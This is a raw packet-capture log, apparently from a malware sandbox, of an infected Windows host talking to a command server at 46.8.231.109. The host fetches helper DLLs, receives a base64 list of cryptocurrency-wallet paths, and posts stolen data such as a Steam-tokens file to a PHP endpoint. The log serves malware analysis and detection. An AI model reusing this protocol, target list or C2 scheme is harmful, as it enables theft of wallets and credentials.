Sep 30, 2024 13:59:50.009010077 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 a2 00 10 a0 a2 00 10 80 a2 00 10 e0 a2 00 10 90 a3 00 10 30 a3 00 10 10 a3 00 10 70 a3 00 10 30 a4 00 10 d0 a3 Data Ascii: 0p0pP0`P` @ P0
Sep 30, 2024 13:59:50.009021997 CEST	1236	IN	Data Raw: 02 b0 2b 01 00 02 40 2c 01 00 02 30 2d 01 00 00 60 2d 01 00 02 80 2d 01 00 02 90 2d 01 00 00 d0 2d 01 00 02 f0 2d 01 00 02 60 2e 01 00 02 80 2e 01 00 00 d0 2e 01 00 02 30 2f 01 00 00 a0 2f 01 00 00 30 30 01 00 02 a0 30 01 00 00 e0 30 01 00 02 00 Data Ascii: +@,0-`-----`...0//0000101@1`1112p203@33@405`55506@66P77`88p9:: ;0;@;P;`;p;;
Sep 30, 2024 13:59:50.009033918 CEST	672	IN	Data Raw: e0 71 01 00 02 50 72 01 00 02 70 72 01 00 00 d0 72 01 00 00 20 75 01 00 02 80 75 01 00 02 90 77 01 00 02 00 78 01 00 02 10 78 01 00 02 40 78 01 00 02 70 78 01 00 02 90 78 01 00 02 80 79 01 00 02 c0 79 01 00 02 40 7a 01 00 02 90 7a 01 00 02 c0 7a Data Ascii: qPrprr uuwxx@xpxxyy@zzzz{\|\|\|}p}}p~P@@@p0Pp
Sep 30, 2024 13:59:50.009047031 CEST	1236	IN	Data Raw: 01 00 00 c0 d0 01 00 00 e0 d0 01 00 00 00 d1 01 00 00 30 d1 01 00 00 60 d1 01 00 02 80 d1 01 00 02 a0 d1 01 00 02 c0 d1 01 00 02 f0 d1 01 00 02 00 d2 01 00 02 20 d2 01 00 02 30 d2 01 00 02 d0 d2 01 00 00 e0 d2 01 00 00 f0 d2 01 00 00 00 d3 01 00 Data Ascii: 0` 00@P`p0`0p@pp
Sep 30, 2024 13:59:50.009057045 CEST	224	IN	Data Raw: 00 02 90 c3 02 00 02 b0 ca 02 00 02 f0 ca 02 00 02 40 cb 02 00 00 60 cb 02 00 00 80 cb 02 00 00 b0 cb 02 00 00 c0 ce 02 00 02 30 cf 02 00 02 a0 cf 02 00 02 d0 d0 02 00 02 a0 dd 02 00 02 f0 dd 02 00 02 10 de 02 00 02 10 e7 02 00 00 50 e7 02 00 00 Data Ascii: @`0Pp @ `P`0`
Sep 30, 2024 13:59:50.009314060 CEST	1236	IN	Data Raw: 02 00 00 50 fb 02 00 00 d0 fb 02 00 00 40 fc 02 00 02 70 fc 02 00 00 a0 fc 02 00 00 e0 fc 02 00 00 20 fd 02 00 00 60 fd 02 00 00 a0 fd 02 00 00 00 fe 02 00 00 f0 fe 02 00 02 10 ff 02 00 02 30 ff 02 00 02 50 ff 02 00 02 70 ff 02 00 02 90 ff 02 00 Data Ascii: P@p `0PpP@p @0p`.../@/p//`0
Sep 30, 2024 13:59:50.009325981 CEST	1236	IN	Data Raw: 00 02 e0 93 03 00 02 20 94 03 00 02 60 94 03 00 02 a0 94 03 00 02 e0 94 03 00 02 20 95 03 00 02 60 97 03 00 02 d0 99 03 00 02 40 9c 03 00 02 70 9c 03 00 02 e0 9d 03 00 02 10 9e 03 00 02 90 9f 03 00 02 c0 9f 03 00 02 40 a1 03 00 02 60 a1 03 00 02 Data Ascii: ` `@p@`@PP`pP@0 PPP
Sep 30, 2024 13:59:50.009336948 CEST	448	IN	Data Raw: 00 00 00 00 00 00 00 a0 1a bd 2a 3f 00 00 00 e0 3a 0f 81 3f 00 00 00 40 5b 55 c5 3f 00 00 00 80 99 99 b9 3f 00 00 00 90 99 99 39 3e 00 00 00 30 33 33 a3 3c 00 00 00 90 99 99 f9 3a 7a 2a da 21 fb 04 45 40 75 cb 78 32 2d b8 c3 40 ee fd a1 11 b3 56 Data Ascii: ?:?@[U??9>033<:z!E@ux2-@VA?WI@_X-}@V$A@.?y>@+eG?z*!E@WI@ux2-@@_X-}@VAV$Aa<Rj=2KF={4gEZ
Sep 30, 2024 13:59:50.009424925 CEST	1236	IN	Data Raw: 34 35 36 37 38 39 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 00 00 00 00 00 00 41 29 21 1c 19 17 16 15 14 13 12 12 11 11 11 10 10 10 0f 0f 0f 0f 0e 0e 0e 0e 0e 0e 0e 0d 0d 0d 0d 0d 0d 00 00 00 30 31 32 33 34 35 Data Ascii: 456789abcdefghijklmnopqrstuvwxyzA)!0123456789abcdefABCDEF0123456789abcdefABCDEFxUnknown exceptionxbad
Sep 30, 2024 13:59:50.013991117 CEST	1236	IN	Data Raw: 37 04 00 00 1c 41 00 10 38 04 00 00 28 41 00 10 39 04 00 00 34 41 00 10 3a 04 00 00 40 41 00 10 3b 04 00 00 4c 41 00 10 3e 04 00 00 58 41 00 10 3f 04 00 00 64 41 00 10 40 04 00 00 70 41 00 10 41 04 00 00 7c 41 00 10 43 04 00 00 88 41 00 10 44 04 Data Ascii: 7A8(A94A:@A;LA>XA?dA@pAA\|ACADAEAFAGAIAJAKALANBOBPBR$BV0BW<BZLBe\BklBl\|BBB
Sep 30, 2024 13:59:50.623053074 CEST	88	OUT	GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 30, 2024 13:59:50.797991037 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:50 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49732	46.8.231.109	80	1916	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 13:59:50.813937902 CEST	92	OUT	GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 30, 2024 13:59:51.426055908 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Sep 30, 2024 13:59:51.426094055 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 8c 02 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 Data Ascii: Ut]h6h{t]UtH]h6h{t1]Ut$]h6h{t]Ut
Sep 30, 2024 13:59:51.426112890 CEST	1236	IN	Data Raw: c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cf cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0c 8b 48 68 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 04 31 c0 5d c3 a1 0c 9a 03 10 eb d2 cc cc cc cc Data Ascii: t]UtHh]h6h{t1]UtHl]h6h{t]UtHp]h6h{t]UtHt]h6h
Sep 30, 2024 13:59:51.426136017 CEST	1236	IN	Data Raw: 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 a4 00 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 04 31 c0 5d c3 a1 0c 9a 03 10 eb cf cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 b8 00 00 00 Data Ascii: Ut]h6h{t1]Ut]h6h{t1]Ut]h6h{t]Ut]h6h{t]
Sep 30, 2024 13:59:51.426150084 CEST	1236	IN	Data Raw: 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 1c 01 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff Data Ascii: ]h6h{t]Ut]h6h{t]Utl]h6h{t]Utp]h6h{t]U
Sep 30, 2024 13:59:51.426166058 CEST	1236	IN	Data Raw: 85 c0 74 0f 8b 88 78 01 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 04 31 c0 5d c3 a1 0c 9a 03 10 eb cf cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 98 01 00 00 ff 15 00 a0 03 10 5d ff Data Ascii: tx]h6h{t1]Ut]h6h{t]Ut]h6h{t1]Ut]h6h{t]
Sep 30, 2024 13:59:51.426182985 CEST	1236	IN	Data Raw: a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 28 02 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 Data Ascii: 6h{t]Ut(]h6h{t1]UtD]h6h{t]Ut,]h6h{t1]Ut4
Sep 30, 2024 13:59:51.426194906 CEST	1236	IN	Data Raw: 74 04 31 c0 5d c3 a1 0c 9a 03 10 eb cf cc cc cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 c4 02 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 02 5d c3 a1 0c 9a 03 10 eb d1 cc cc cc cc cc 55 89 Data Ascii: t1]Ut]h6h{t]Ut]h6h{t]Ut]h6h{t]Ut]h6h
Sep 30, 2024 13:59:51.426204920 CEST	1236	IN	Data Raw: 0c 9a 03 10 85 c0 74 0f 8b 88 30 03 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 07 b8 ff ff ff ff 5d c3 a1 0c 9a 03 10 eb cc 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 34 03 00 00 ff 15 00 a0 Data Ascii: t0]h6h{t]Ut4]h6h{t]Ut8]h6h{t]Ut<]h6h{t
Sep 30, 2024 13:59:51.426218987 CEST	556	IN	Data Raw: 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 b8 7b 03 10 83 c4 08 85 c0 74 02 5d c3 a1 0c 9a 03 10 eb d1 cc cc cc cc cc 55 89 e5 57 56 68 48 66 03 10 e8 81 00 00 00 83 c4 04 be ff ff ff ff 85 c0 74 6c 89 c7 68 e6 65 03 10 50 ff 15 cc 7b 03 10 83 Data Ascii: ]h6h{t]UWVhHftlheP{tDt6Hu"%rr=1tP\|^_]USWV]1Eh07h;f{{
Sep 30, 2024 13:59:51.431193113 CEST	1236	IN	Data Raw: 62 03 10 68 1d 69 03 10 6a 20 50 ff 15 1c 7c 03 10 8b 55 0c 83 c4 14 eb 07 c6 85 d0 fe ff ff 00 8d 85 d0 fe ff ff 8d 8d f0 fe ff ff 50 56 53 57 52 ff 75 08 68 93 65 03 10 68 00 01 00 00 51 ff 15 1c 7c 03 10 83 c4 24 8b 4d f0 31 e9 e8 2a 9e 02 00 Data Ascii: bhij P\|UPVSWRuhehQ\|$M1*$^_[]USWV$u]}U1Et'u#3hbhij P\|UPVSWRuuh.ehQ\|(M1
Sep 30, 2024 13:59:51.866556883 CEST	96	OUT	GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 30, 2024 13:59:52.041352034 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 30, 2024 13:59:52.453681946 CEST	199	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEGHJEGHJKFIEBFHJKK Host: 46.8.231.109 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 13:59:52.658088923 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 13:59:52.687190056 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKFBAFIDAEBFHJKJEBF Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 31 64 30 30 64 65 38 35 35 30 65 39 38 65 33 63 38 34 64 62 38 37 66 65 36 35 65 66 61 36 36 39 38 62 36 65 63 38 62 39 31 35 64 64 39 32 65 63 61 30 34 34 38 34 64 63 38 35 66 61 34 35 35 63 34 35 61 30 65 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 2d 2d 0d 0a Data Ascii: ------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="token"821d00de8550e98e3c84db87fe65efa6698b6ec8b915dd92eca04484dc85fa455c45a0eb------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="message"wallets------KJKFBAFIDAEBFHJKJEBF--
Sep 30, 2024 13:59:52.865253925 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:52 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Sep 30, 2024 13:59:52.868196011 CEST	464	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDAFIEBFCBKFHIDHIJE Host: 46.8.231.109 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 31 64 30 30 64 65 38 35 35 30 65 39 38 65 33 63 38 34 64 62 38 37 66 65 36 35 65 66 61 36 36 39 38 62 36 65 63 38 62 39 31 35 64 64 39 32 65 63 61 30 34 34 38 34 64 63 38 35 66 61 34 35 35 63 34 35 61 30 65 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="token"821d00de8550e98e3c84db87fe65efa6698b6ec8b915dd92eca04484dc85fa455c45a0eb------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="message"files------FIDAFIEBFCBKFHIDHIJE--
Sep 30, 2024 13:59:53.048928976 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 13:59:53.059648991 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFIEBKKJJDAKFHIDBFH Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 31 64 30 30 64 65 38 35 35 30 65 39 38 65 33 63 38 34 64 62 38 37 66 65 36 35 65 66 61 36 36 39 38 62 36 65 63 38 62 39 31 35 64 64 39 32 65 63 61 30 34 34 38 34 64 63 38 35 66 61 34 35 35 63 34 35 61 30 65 62 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 45 42 4b 4b 4a 4a 44 41 4b 46 48 49 44 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CAFIEBKKJJDAKFHIDBFHContent-Disposition: form-data; name="token"821d00de8550e98e3c84db87fe65efa6698b6ec8b915dd92eca04484dc85fa455c45a0eb------CAFIEBKKJJDAKFHIDBFHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CAFIEBKKJJDAKFHIDBFHContent-Disposition: form-data; name="file"------CAFIEBKKJJDAKFHIDBFH--
Sep 30, 2024 13:59:53.255088091 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 11:59:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 13:59:53.257431030 CEST	471	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJEHIJEBKEBFBFHIIDHI Host: 46.8.231.109 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 31 64 30 30 64 65 38 35 35 30 65 39 38 65 33 63 38 34 64 62 38 37 66 65 36 35 65 66 61 36 36 39 38 62 36 65 63 38 62 39 31 35 64 64 39 32 65 63 61 30 34 34 38 34 64 63 38 35 66 61 34 35 35 63 34 35 61 30 65 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 48 49 4a 45 42 4b 45 42 46 42 46 48 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 